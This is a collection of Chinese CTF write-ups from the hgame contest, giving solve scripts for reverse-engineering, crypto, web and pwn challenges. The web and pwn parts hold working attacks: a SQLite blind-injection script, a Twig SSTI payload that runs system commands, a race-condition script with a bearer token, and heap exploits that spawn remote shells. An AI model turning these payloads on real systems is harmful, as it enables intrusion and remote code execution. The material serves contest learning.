  • __attribute__((constructor)) 先于main()函数调用;
  • __attribute__((destructor))main()函数后调用。
#include <stdio.h>
#include <stdlib.h>

static void before(void) __attribute__((constructor));
static void after(void) __attribute__((destructor));

static void before() {
    printf("before main\n");
}

static void after(void) {
    printf("after main\n");
}

int main() {
    printf("main\n");
    return 0;
}

还可以通过参数设置优先级关系:

#include <stdio.h>
#include <stdlib.h>

static void before(void) __attribute__((constructor));

static void before3(void) __attribute__((constructor(103)));
static void before2(void) __attribute__((constructor(102)));
static void before1(void) __attribute__((constructor(101)));

static void before2() {
    printf("before  102\n");
}

static void before1() {
    printf("before  101\n");
}

static void before3() {
    printf("before  103\n");
}

static void before() {
    printf("before main\n");
}


int main() {
    printf("main\n");
    return 0;
}

[RE]creakme2

By s0uthwood

在加密函数里看一下汇编,发现用了 try except 来构造了一个除 0 异常,当最高位为 0 时,异或一个 0x1234567

#include <stdio.h>
#include <stdint.h>

void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B1;
    for (i=0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        if (sum >> 31 == 0)
            sum ^= 0x1234567;
        printf("%x\n", sum);
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
    printf("%x\n", sum);
}

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B1, sum=0xc78e4d05;
    for (i=0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        if (sum >> 31 == 0)
            sum ^= 0x1234567;
        sum -= delta;
        printf("%x\n", sum);
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}

int main()
{
    uint32_t v[]={0x457E62CF, 0x9537896C, 0x1F7E7F72, 0xF7A073D8, 0x8E996868, 0x40AFAF99, 0xF990E34, 0x196F4086};
    uint32_t const k[4]={1,2,3,4};
    unsigned int r=32;
    decipher(r, v, k);
    decipher(r, v + 2, k);
    decipher(r, v + 4, k);
    decipher(r, v + 6, k);
    printf("%s\n",v);
    return 0;
}

[RE]upx magic 0

By oneQuiz

听说是放错附件了所以这个并没有 UPX 壳。。。

IDA 打开搜索字符串进入验证函数:

顺了一遍发现这个加密是单向的,然后卡住(我太笨了T-T)

经过提醒发现可以直接用 ascii 码可见位直接爆破。

#include <stdio.h>
unsigned short ans[33];
char flag[33];
int main() {
    ans[0] = 36200;
    ans[1] = 40265;
    ans[2] = 10770;
    ans[3] = 43802;
    ans[4] = 52188;
    ans[5] = 47403;
    ans[6] = 11826;
    ans[7] = 40793;
    ans[8] = 56781;
    ans[9] = 40265;
    ans[10] = 43274;
    ans[11] = 3696;
    ans[12] = 62927;
    ans[13] = 2640;
    ans[14] = 23285;
    ans[15] = 65439;
    ans[16] = 40793;
    ans[17] = 48395;
    ans[18] = 22757;
    ans[19] = 14371;
    ans[20] = 48923;
    ans[21] = 30887;
    ans[22] = 43802;
    ans[23] = 18628;
    ans[24] = 43274;
    ans[25] = 11298;
    ans[26] = 40793;
    ans[27] = 23749;
    ans[28] = 24277;
    ans[29] = 30887;
    ans[30] = 9842;
    ans[31] = 22165;
    int rot = 0;
    unsigned short rot1 = 0;
    char c = 0;
    for (int i = 0; i < 32; i++)
    {
        for (flag[i] = 33; flag[i] < 127; flag[i]++)
        {
            c = flag[i];
            rot = flag[i] << 8;
            for (int j = 0; j < 8; j++)
            {
                if ((rot & 0x8000) == 0)
                    rot *= 2;
                else
                    rot = (rot * 2) ^ 0x1021;
            }
            rot1 = (unsigned __int16)rot;
            if (rot1 == ans[i])
            {
                printf("%c", c);
            }
        }
    }
}

直接运行就可以出 flag 啦。

后来才发现这个根本不是什么加密算法,就是上学期我刚学过的 CRC-16 校验码,这种都是直接爆破就行了。

CRC16的算法原理:

  1. 根据CRC16的标准选择初值 CRCIn 的值;
  2. 将数据的第一个字节与 CRCIn 高 8 位异或;
  3. 判断最高位,若该位为 0 左移一位,若为 1 左移一位再与多项式 Hex 码异或;
  4. 重复 3 直至 8 位全部移位计算结束;
  5. 重复将所有输入数据操作完成以上步骤,所得 16 位数即 16 位 CRC 校验码。

CRC16_CCITT:

多项式 $x^{16} + x^{12}+ x^5+1(0x1021)$,初始值 $0x0000$,低位在前,高位在后,结果与 $0x0000$ 异或;

[RE]upx magic 1

By s0uthwood

发现没法自动脱壳,010 打开之后,手动把三个 UPX? 改成 UPX!,之后就能自动脱壳了

[Crypto]Chinese Character Encryption

By NULLPointer

脑洞题。

解压后得到 flag.enc,用记事本打开发现是许多汉字字符串,因此猜想是否与汉字在 Unicode 中的编码有关,尝试破解失败。题目中提示 flag.enc 中每一行均是 flag 的加密,说明每一行汉字都是 flag。发现相同的字母在加密后得到了不同的汉字,这说明每一行相同位置出现的不同的汉字在某些方面具有共同点。

题目提示该题的加密方式只与汉字的拼音有关,因此使用 pypinyin 包解出拼音,发现每一行相同位置的汉字的拼音高度重合。联想到拼音的数字表达形式(按照声调一二三四标在拼音后加上 1234,轻声按 0 处理),猜想将拼音字母的 ASCII 码加和再加上声调代表的数字的 ASCII 码(轻声加 48,一声加 49,二声加 50,以此类推)作为汉字的编码,即 pypinyin 包中的 Style.TONE3 风格解出的字符串 ASCII 之和。操作发现部分汉字编码相同,说明猜想合理。

尝试对编码进行操作,发现对 128 取模后开始几个汉字的 ASCII 码对应 hgame,解密即可:

import pypinyin

def decrypt(s):
    flag = ""
    for c in s:
        ASCII_sum = 0
        k = pypinyin.pinyin(c,style = pypinyin.Style.TONE3)[0][0]
        for i in k:
            ASCII_sum += ord(i)
        flag += chr(ASCII_sum % 128)
    return flag

message = "陉萏俦蘭貑謠祥冄剏髯簧凰蕆秉僦笆鼣雔耿睺渺仦殣櫤鄽偟壮褃劳充迧蝔镁樷萾懴雈踺猳钔緲螩蝒醢徣纒漐"
print(decrypt(message))
# "hgame{It*sEEMS|thaT~YOu=LEArn@PinYiN^VerY-WelL}"

[Crypto]RSA Attack

[Crypto]RSA Attack 2

[Crypto]The Password Plus Pro Max Ultra

By NULLPointer

解压得到output.txt和task.py,先分析加密代码如下。

def move(n, k):
    s = bin(n)[2:].zfill(64) # 将n转为64位二进制的形式
    k = k & 63
    return int(s[k:] + s[:k], 2) # 循环左移k位

def encrypt(x, ks):
    return xor(x, reduce(xor, map(lambda k: move(x, k), ks))) # 设ks中的数为a1,a2,..,an,返回x^(x<<<a1)^(x<<<a2)^...^(x<<<an)


xs = list(map(s2n, findall(r".{1,8}", flag))) # 将flag每八个字符分成一组得到多组字符串,转成整数放入xs
for i in range(len(xs)):
    ks = sample(range(1, 64), (i + 1) * 2) # 对于xs中第i个数,在1到64的范围内随机选取(i + 1) * 2个数,放入ks
    y = encrypt(xs[i], ks) # 利用ks加密xs中的每个数字
    assert xs[i] == decrypt(y, ks)
    print(y, sorted(ks)) # 输出y和ks

发现本题实际上使用的是循环移位-异或加密。output.txt 中每一行前面的数字是加密得到的结果,后面的列表是加密过程中异或式每一项循环左移的位数。

对于固定位数 m 的二进制串,循环移位-异或加密算法相当于在系数取自 GF(2) 的条件下对二进制多项式做左乘及加和处理,只不过在每次处理之后均要对 m 次多项式求模。因此,对于一个 m 位的二进制串,执行 m 次循环移位-异或算法后将回到其本身。这个性质说明只需将本题中给出的一次加密结果利用移位数列表再加密 63 次即可还原出明文。解密代码如下:

def move(n, k):
    s = bin(n)[2:].zfill(64)
    k = k & 63
    return int(s[k:] + s[:k], 2)

def encrypt(x, ks):
    return xor(x, reduce(xor, map(lambda k: move(x, k), ks)))

def decrypt(m,l):
    flag = ""
    for i in range(len(m)):
        for j in range(63):
            m[i] = encrypt(m[i],l[i])
        flag += str(n2s(m[i]))
        flag = flag.replace("'b'",'')
    return flag

m = [2656224875120172108,1261711348908201279,18219282869614004824,15279054981769814589,7966355346882200701,5641592208539483808,1502927090219059154 ,3996223120734273799,18295033054788808618,18126228466291248047,9413762634844369954 ,8964324149921197550,6962485320551449848]
l = [[8, 35],[19, 29, 30, 45],[6, 16, 18, 21, 44, 55],[10, 26, 30, 46, 51, 54, 58, 63],[5, 13, 25, 29, 37, 39, 43, 52, 53, 59],[1, 26, 31, 39, 40, 41, 43, 45, 49, 52, 54, 62],[8, 12, 19, 20, 30, 32, 34, 40, 41, 45, 46, 49, 55, 58],[2, 3, 5, 6, 8, 10, 15, 19, 26, 27, 33, 40, 42, 47, 52, 61],[1, 16, 17, 27, 28, 30, 32, 36, 37, 38, 39, 48, 49, 51, 55, 57, 59, 62],[5, 11, 12, 20, 22, 23, 25, 27, 31, 32, 33, 37, 44, 45, 49, 52, 53, 59, 61, 62],[2, 7, 10, 12, 18, 19, 20, 22, 26, 29, 33, 34, 38, 40, 41, 45, 46, 51, 54, 56, 57, 60],[3, 4, 5, 9, 12, 13, 18, 19, 21, 23, 24, 25, 30, 33, 34, 35, 37, 39, 43, 44, 46, 49, 50, 53],[1, 3, 6, 7, 10, 11, 13, 14, 23, 27, 32, 33, 35, 37, 39, 41, 46, 48, 49, 50, 51, 53, 54, 56, 58, 62]]

print(decrypt(m,l))
#"hgame{XOr|RoR&rOl|Is+vERY#coMmon*BiTwisE$OPeraTiOn*IT@is%oFten,ENCOUntErED*in.syMMeTRic?encryPtION}"

week3

[Web]LoginMe

By SSGSS

hint 里给了部分查询语句,通过 ') or (' 左右闭合后中间能进行布尔盲注,尝试用 left, ascii 等函数均未返回预期结果,故不是 mysql 数据库,经验证为 sqlite 注入。

import requests
import json

url = 'http://f4440d8510.login.summ3r.top:60067/login'
ans = ''
header = {
    'Content-Type': 'application/json'
}
# sql = 'select group_concat(sql) from sqlite_master'
sql = 'select group_concat(password) from uuussseeerrrsss limit 0, 1'
for i in range(1, 1000):
    L = 32
    R = 127
    while R - L > 1:
        mid = (L + R) >> 1
        payload = {
            "username": "ass') or substr((%s), %d, 1) < '%c' or (username='test1" % (sql, i, chr(mid)),
            "password": "114514"
        }
        r = requests.post(url, headers=header, data=json.dumps(payload))
        if 'success' in r.text:
            R = mid
        else:
            L = mid
    ans += chr(L)
    print(ans)

'''
CREATE TABLE `uuussseeerrrsss` (
    `id` integer,
    `created_at` datetime,
    `updated_at` datetime,
    `deleted_at` datetime,
    `username` text UNIQUE,
    `password` text,
    PRIMARY KEY (`id`)
),CREATE INDEX `idx_uuussseeerrrsss_deleted_at` ON `uuussseeerrrsss`(`deleted_at`)         

'''

[Web]SecurityCenter

By SSGSS

查看 hint,该项目装了如下三个包:

symfony/polyfill-ctype v1.24.0
symfony/polyfill-mbstring v1.24.0
twig/twig v3.3.7

依次搜索,twig 在 18 年爆出了一个 SSTI 的洞,于是在 url 处找到注入点:[146.56.223.34:60036/redirect.php?url={{1*7}}](http://146.56.223.34:60036/redirect.php?url={{1*7}})

随手找了个 TWIG3.X 的 payload,{{["id", 0\]|sort("system")|join(",")}}

成功 rce,但是读 flag 的时候 cat 被 waf,用 head 去绕,正则匹配了 hgame 内容,base64 一下即可。

最终payload:

http://146.56.223.34:60036/redirect.php?url={{["head /flag|base64", 0]|sort("system")|join(",")}})

[Web]Vidar shop demo

By SSGSS

条件竞争,抢占的资源是钱,可以先狂发 300 个 40 块的订单的包,然后开多线程分别去支付这些包,如果条件竞争顺利的话应该来不及太扣钱,然后我们就分别对这些订单退款钱就够了。

import requests
import json
import threading

url = 'http://559e013ac8.vidar-shop.mjclouds.com/api/pay/create'
payload = {"uid": 315,  "amount": 20}
header = {
    'Content-Type': 'application/json',
    'Authorization': 'bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDQxMzgxNjUsImlhdCI6MTY0NDA1MTc2NSwidWlkIjozMTV9.QyUNGJRUDQ4qp13utRgTWV8jDs4UhQYWOX8BP6wWcng'
}
def buy(id):
    payload["oid"] = id
    requests.post(url, headers=header, data=json.dumps(payload))

ts = []

for i in range(5603, 5855):
    exec('t{0} = threading.Thread(target=buy,args=(i,))'.format(i))
    exec('ts.append(t{0})'.format(i))
for s in ts:
    s.start()
print("DONE")

[Pwn]elder_note

By triplewings

double freemalloc_hook, double_free 报错拿 shell

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process("./note")
p = remote("chuj.top", 52620)
libc = ELF("./libc-2.23.so")


def proof(y):
    may = string.ascii_letters+string.digits
    for i in may:
        for j in may:
            for k in may:
                for l in may:
                    res = i +j +k +l
                    if hashlib.sha256((res).encode()).hexdigest() == y:
                        p.sendline(res)
                        return
    print('Wrong!')


p.recvuntil(b" == ")
a = p.recvuntil(b"\n")[:-1].decode()
print(a)
proof(a)

def menu(i):
    p.sendlineafter(b"4. farewell", str(i))

def add(idx, size, content):
    menu(1)
    p.sendlineafter(b"index?", str(idx))
    p.sendlineafter(b"size?", str(size))
    p.sendafter(b"content?", content)

def show(idx):
    menu(2)
    p.sendlineafter(b"index?", str(idx))

def free(idx):
    menu(3)
    p.sendlineafter(b"index?", str(idx))

add(0, 0x80, b"aaa")
add(1, 0x80, b"aaa")
free(0)
show(0)
p.recvuntil("")
libc.address = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]


add(0, 0x80, b"aaa")
add(0, 0x60, b"aaa")
add(1, 0x60, b"aaa")
add(2, 0x60, b"/bin/sh")
free(0)
free(1)
free(0)
add(0, 0x60, p64(libc.sym["__malloc_hook"] - 0x23))

add(1, 0x60, b"aaa")
add(3, 0x60, b"aaa")
# gdb.attach(p, "b add_note")

print(hex(libc.address))
add(4, 0x60, b"aaa" + p64(0)*2 + p64(libc.address + 0xf03a4) + p64(0))
free(0)
free(0)
# free(2)

p.interactive()

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

[Pwn]changeable_note

By triplewings

2.23 打 stdout

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process("./note")
p = remote("chuj.top", 52401)
libc = ELF("./libc-2.23.so")


def proof(y):
    may = string.ascii_letters+string.digits
    for i in may:
        for j in may:
            for k in may:
                for l in may:
                    res = i +j +k +l
                    if hashlib.sha256((res).encode()).hexdigest() == y:
                        p.sendline(res)
                        return
    print('Wrong!')


p.recvuntil(b" == ")
a = p.recvuntil(b"\n")[:-1].decode()
print(a)
proof(a)

def menu(i):
    p.sendlineafter(b"4. farewell", str(i))

def add(idx, size, content):
    menu(1)
    p.sendlineafter(b"index?", str(idx))
    p.sendlineafter(b"size?", str(size))
    p.sendafter(b"content?", content)

def edit(idx, content):
    menu(2)
    p.sendlineafter(b"index?\n>> ", str(idx))
    p.sendline(content)

def free(idx):
    menu(3)
    p.sendlineafter(b"index?", str(idx))


add(0,0x30,b"aaa")
add(1,0x60,b"aaa")
add(2,0x60,p64(0)*5 + p64(0x41))
add(3,0x10,b"aaa")
add(4,0x10,b"aaa")

edit(1, p64(0)*9 + p64(0x21))
edit(0, p64(0)*7 + p64(0xe1))
free(1)
free(2)

add(5,0x40,b"aaa")
add(6,0x10,b"aaa")
add(7,0x20,b"\xdd\x25")
add(8,0x30,b"aaa")
edit(6, p64(0)*3 + b"\x71")
add(9, 0x60, b"\xdd\x25")
add(10, 0x60, b"\x00"*0x33 + p64(0xfbad1887) +p64(0)*3 + p8(0x88))
libc.address = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym['_IO_2_1_stdin_']
print(hex(libc.address))
edit(0, p64(0)*7 + p64(0xe1))
free(9)
free(5)
add(5,0x40,b"aaa")
add(6,0x10,b"aaa")
add(7,0x20,p64(libc.sym["__malloc_hook"] - 0x23))
add(8,0x30,b"aaa")
edit(6, p64(0)*3 + b"\x71")
add(9, 0x60, b"aaa")

add(10, 0x60, b"\x00"*3 + p64(0)*2 + p64(libc.address + 0xf03a4))

# gdb.attach(p, "b edit_note")
edit(6, p64(0)*3 + b"\x41")
free(9)


p.interactive()

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

[Pwn]sized_note

By triplewings

off by null, unlink unsorted bins

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process("./note")
p = remote("chuj.top", 52966)
libc = ELF("./libc.so.6")


def proof(y):
    may = string.ascii_letters+string.digits
    for i in may:
        for j in may:
            for k in may:
                for l in may:
                    res = i +j +k +l
                    if hashlib.sha256((res).encode()).hexdigest() == y:
                        p.sendline(res)
                        return
    print('Wrong!')


p.recvuntil(b" == ")
a = p.recvuntil(b"\n")[:-1].decode()
print(a)
proof(a)

def menu(i):
    p.sendlineafter(b"5. farewell", str(i))

def add(idx, size, content):
    menu(1)
    p.sendlineafter(b"index?", str(idx))
    p.sendlineafter(b"size?", str(size))
    p.sendafter(b"content?", content)

def edit(idx, content):
    menu(4)
    p.sendlineafter(b"index?\n>> ", str(idx))
    p.send(content)

def free(idx):
    menu(3)
    p.sendlineafter(b"index?", str(idx))

def show(idx):
    menu(2)
    p.sendlineafter(b"index?", str(idx))





add(0, 0xf8, b"aaa")
add(1, 0x88, b"aaa")
add(2, 0xf8, b"aaa")
add(3, 0x88, b"aaa")

for i in range(7):
    add(4+i, 0xf8, b"aaa")

for i in range(7):
    free(10 - i)

free(1)
free(0)

add(1, 0x88, b"a"*0x80+p64(0x90+0x100))
free(2)

for i in range(7):
    add(4+i, 0xf8,"/bin/sh\x00")
add(0, 0xf8,"cccc")
show(1)
libc.address = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc.address))
# gdb.attach(p, "b *$rebase(0x144B)")
add(2, 0x88,"cccc")
free(2)
edit(1, p64(libc.sym["__free_hook"])[:-1])
add(13, 0x88, p64(libc.sym["__free_hook"]))

add(14, 0x88, p64(libc.sym["system"]))
free(5)



p.interactive()

# 0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL

# 0x4f432 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   [rsp+0x40] == NULL

# 0x10a41c execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

[RE]Answer’s windows

By s0uthwood

使用 right.png 字符串能够定位到验证函数

动调发现使用了 string 的存储方式(好像就是把 string 内联了),只使用了 Base64 编码

但 base 表和目标对应不上,显然是有反调试,自己做的时候直接猜到了真实表是 ascii 的前 64 个可见字符

或者根据交叉引用找到 debug,把反调试判断 nop 掉再动调即可

[RE]creakme_3

By s0uthwood

PPC 架构,用 ghidra 看的

undefined4 main(void)

{
  int fs;
  int randnum;
  int j;
  int order_cnt;
  int i;
  int order [89];
  int canary;
  
  canary = *(int *)(fs + -0x7008);
  memset(order,0,0x164);
  printf("Welcome my whitegive re task! This is your flag: ");
  do {
    for (j = 0; j < 0x59; j = j + 1) {
      randnum = rand();
      order[j] = randnum % 0x59;
    }
    order_cnt = 1;
    while ((order_cnt < 0x59 && (a[order[order_cnt + -1] * 2 + 1] <= a[order[order_cnt] * 2 + 1])))
    {
      order_cnt = order_cnt + 1;
    }
  } while (order_cnt != 0x59);
  for (i = 0; i < 0x59; i = i + 1) {
    putchar(a[order[i] * 2]);
  }
  if (canary == *(int *)(fs + -0x7008)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

手动恢复了一下符号,简单的说就是只有满足顺序都是 <= 的时候才能退出第一个循环,所以 rand() 只是个忽悠人并且浪费时间的东西(后来知道这个东西叫猴子加密)

所以提取一下数字然后排序就行

a = [
    (0x30, 0x4E7D),
    (0x30, 0x67BD),
    (0x30, 0x7A48),
    (0x30, 0x82A2),
    (0x30, 0x933E),
    (0x31, 0x9C18),
    (0x32, 0x5AFF),
    (0x32, 0x6CD7),
    (0x32, 0xA6CA),
    (0x32, 0xBD79),
    (0x32, 0xCEBD),
    (0x33, 0x324A),
    (0x33, 0x3292),
    (0x33, 0x3905),
    (0x33, 0x4291),
    (0x33, 0x5ADE),
    (0x33, 0x6E9F),
    (0x33, 0xA52A),
    (0x33, 0xBE35),
    (0x33, 0xCB63),
    (0x35, 0x7F3B),
    (0x38, 0x3914),
    (0x38, 0xB2AD),
    (0x39, 0x38DA),
    (0x39, 0x4E50),
    (0x39, 0x6A02),
    (0x39, 0xB10F),
    (0x42, 0x78E5),
    (0x5F, 0x7EF6),
    (0x5F, 0x89A3),
    (0x5F, 0x8EBD),
    (0x5F, 0x95E3),
    (0x61, 0x73DA),
    (0x64, 0x538C),
    (0x64, 0x633B),
    (0x64, 0x9E9C),
    (0x64, 0xB78B),
    (0x64, 0xC866),
    (0x65, 0x32AE),
    (0x65, 0x7679),
    (0x66, 0x2AE7),
    (0x66, 0x4D6A),
    (0x66, 0x5708),
    (0x66, 0x6610),
    (0x66, 0xA258),
    (0x66, 0xB80C),
    (0x66, 0xC885),
    (0x67, 0x710A),
    (0x67, 0x7CF4),
    (0x68, 0x3F76),
    (0x68, 0x702B),
    (0x68, 0xA3EE),
    (0x68, 0xAD50),
    (0x68, 0xBAC7),
    (0x69, 0x4024),
    (0x69, 0x8A22),
    (0x69, 0xC055),
    (0x6A, 0x2B52),
    (0x6A, 0xC687),
    (0x6B, 0x5F00),
    (0x6B, 0xC417),
    (0x6C, 0x6182),
    (0x6D, 0x75DB),
    (0x6E, 0x3C61),
    (0x6E, 0x4996),
    (0x6E, 0x5DC1),
    (0x6F, 0x2D76),
    (0x6F, 0x7D17),
    (0x6F, 0xA91B),
    (0x70, 0x9AED),
    (0x72, 0x45D0),
    (0x72, 0x8467),
    (0x72, 0xAB5D),
    (0x73, 0x5083),
    (0x73, 0x6222),
    (0x73, 0x8D93),
    (0x73, 0x923A),
    (0x73, 0x971E),
    (0x73, 0xB4BA),
    (0x73, 0xC785),
    (0x74, 0x3558),
    (0x74, 0x86BD),
    (0x74, 0x9738),
    (0x75, 0x3710),
    (0x75, 0x9779),
    (0x77, 0x2F3F),
    (0x77, 0x44DD),
    (0x7B, 0x78E1),
    (0x7D, 0x9F42)
]

def takeSecond(elem):
    return elem[1]

a.sort(key=takeSecond)

for i in a:
    print (chr(i[0]), end='')
# fjow33etu938nhi3wrnf90sdf32nklsdf0923hgame{B0go_50rt_is_s0_stup1d}fh32orh98sdfh23ikjsdf32

[RE]fishman

By s0uthwood

pyd逆向

先定位函数

搜索字符串,能看到几个函数名

比如 init 函数就是 sub_180002670

接下来就是密码算法识别

查看一下 initcheck 函数,这题使用的是 blowfish 密码,之前没有遇到过,所以是靠着 findcrypt 脚本识别出来的

顺便放一下搜到的加密算法源码,来源是 https://gitee.com/miao123456miao/blowfish2

这是一个分组密码,主要的特征就是 f 函数

剩下的也没什么特别的,贴一下求解脚本吧

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include "blowfish.h"

void swap(uint32_t* a, uint32_t* b) {
    uint32_t tmp;
    
    tmp = *a;
    *a = *b;
    *b = tmp;
}

uint32_t blowfish_f(blowfish_t* container, uint32_t input) {
    uint8_t a, b, c, d;
    
    a = input >> 24;
    b = (input >> 16) & 0xff;
    c = (input >> 8) & 0xff;
    d = input & 0xff;
    
    return ((container->s[0][a] + container->s[1][b]) ^ container->s[2][c]) +
            container->s[3][d];
}

void blowfish_cipher(blowfish_t* container, uint32_t* xl, uint32_t* xr, uint8_t mode) {
    int i;
    uint32_t loc_xl, loc_xr;
    
    loc_xl = *xl;
    loc_xr = *xr;
    
    if(mode == BLOWFISH_ENCRYPT) {
        for(i = 0; i < PASSES; i++) {
            loc_xl = loc_xl ^ container->p[i];
            loc_xr = blowfish_f(container, loc_xl) ^ loc_xr;
        
            swap(&loc_xl, &loc_xr);
        }
    } else if(mode == BLOWFISH_DECRYPT) {
        for(i = PASSES+1; i > 1; i--) {
            loc_xl = loc_xl ^ container->p[i];
            loc_xr = blowfish_f(container, loc_xl) ^ loc_xr;
        
            swap(&loc_xl, &loc_xr);
        }
    }
        
    swap(&loc_xl, &loc_xr);
    
    if(mode == BLOWFISH_ENCRYPT) { 
        loc_xr = loc_xr ^ container->p[PASSES];
        loc_xl = loc_xl ^ container->p[PASSES+1];
    } else if(mode == BLOWFISH_DECRYPT) {
        loc_xr = loc_xr ^ container->p[1];
        loc_xl = loc_xl ^ container->p[0];
    }
    
    *xl = loc_xl;
    *xr = loc_xr;
}

blowfish_t* blowfish_initialize(unsigned char* key, uint32_t length) {
    blowfish_t* container = malloc(sizeof(blowfish_t));
    unsigned int i, ii, j = 0;
    uint32_t tmp, tmp_l = 0, tmp_r = 0;  

    if(length > BLOWFISH_MAX_KEY_BYTES) return (blowfish_t*) NULL;

    for(i = 0; i < PASSES+2; i++) {
        container->p[i] = P[i];
    }
    
    for(i = 0; i < SBOXES; i++) {
        for(ii = 0; ii < 256; ii++) {
            container->s[i][ii] = S[i][ii];
        }
    }
    
    for(i = 0; i < PASSES+2; i++) {
        tmp = 0;
        for(ii = 0; ii < 4; ii++) {
            tmp = (tmp << 8) | key[j];
            j++;
            if(j == length) 
                j = 0;
        }
        container->p[i] = container->p[i] ^ tmp;
    }

    for(i = 0; i < PASSES+1; i += 2) {
        blowfish_cipher(container, &tmp_l, &tmp_r, BLOWFISH_ENCRYPT);
        container->p[i] = tmp_l;
        container->p[i+1] = tmp_r;
    }
    
    for(i = 0; i < SBOXES; i++) {  
        for(ii = 0; ii < 256; ii += 2) { 
            blowfish_cipher(container, &tmp_l, &tmp_r, BLOWFISH_ENCRYPT);
            container->s[i][ii] = tmp_l;
            container->s[i][ii+1] = tmp_r;
        }
    }
}

int main(int argc, char** argv) {
    uint32_t high, low;
    blowfish_t* container = blowfish_initialize("LET_U_D", 7);
    high = 1416580799u;
    low = 3035468667u;
    blowfish_cipher(container, &high, &low, BLOWFISH_DECRYPT);
    write(1, &high, 4);
    write(1, &low, 4);
    high = 2194841726u;
    low = 332656605u;
    blowfish_cipher(container, &high, &low, BLOWFISH_DECRYPT);
    write(1, &high, 4);
    write(1, &low, 4);
    high = 571059727u;
    low = 1498341217u;
    blowfish_cipher(container, &high, &low, BLOWFISH_DECRYPT);
    write(1, &high, 4);
    write(1, &low, 4);
    high = 3107158060u;
    low = 470279474u;
    blowfish_cipher(container, &high, &low, BLOWFISH_DECRYPT);
    write(1, &high, 4);
    write(1, &low, 4);
    return 0;
}

blowfish.h 去仓库找就行

试了一下 pycrypto 库,解出来的有问题,可能库的实现和这个有区别,没深入研究

[Crypto]Block Cipher

By S1eepy

import operator
from libnum import n2s
from functools import reduce
def xor(a, b):
    assert len(a) == len(b)
    return bytes(map(operator.xor, a, b))

iv = b'Up\x14\x98r\x14%\xb9'
key = b'\r\xe8\xb86\x9c33^'
parts = [b'0\xff\xcd\xc3\x8b\\T\x8b', b'RT\x1e\x89t&\x17\xbd', b'\x1a\xee\x8d\xd6\x9b>w\x8c', b'9CT\xb3^pF\xd0']
flag = []
for i in range(3, -1, -1):
	if i == 0:
		flag.append(reduce(xor, [parts[i], iv, key]))
	else:
		flag.append(reduce(xor, [parts[i], parts[i - 1], key]))

print(flag[::-1])
# hgame{BloCk|cIphER+is+So.EaSY}

[Crypto]Multi Prime RSA

By S1eepy

from gmpy2 import invert
from libnum import n2s
p = 61789932148719477384027458333380568978056286136137829092952317307711908353477
q = 91207969353355763685633284378833506319794714507027332929290701748727534193861
r = 105471299607375388622347272479207944509670502835651250945203397530010861809367
s = 83153238748903772448138307505579799277162652151244477391465130504267171881437
n = 1039344372165087100001063920598151812324151064684841845250974758525265148567706103784958424873181721352440209284812493753972556519482026327282644619091466886523804841248277210353173383407944598453848113815866908595335619458549486958764490103808475329598085842184963065068499489886467911087295087163762599284622055185456905774507245781667293199205317692029829495961487347944813874415423771980660778986211145841712412631156369129146470119135136378158203459576596246169191419488560832734046076107673091995860021863239882608638458149930255944184863801278386551031980146460231515747754411678651752698881001464973981424240781413084941947261875289725538959720572496329348499870580057997540844488309111059240745081048324762866572948371222839278718034435739827677190025500802453626872356208612718417249649474571197167076916403582394186357812640566250930361276229969553128128312736245440129556020108188835966131425956431796417720436474093381770796431629523054378258497546013222494974549262140415585158985940966415459478150722832119691308697510189026447359189994055885090735411738332296254011208547676914004864732327863884217733456287369771087094514708468685641820375220835485053482570852619363091173324203334503461823983610886849930944250553928855506012684504211525542998575275626784129736345142772399109273619522445919
e = 65537
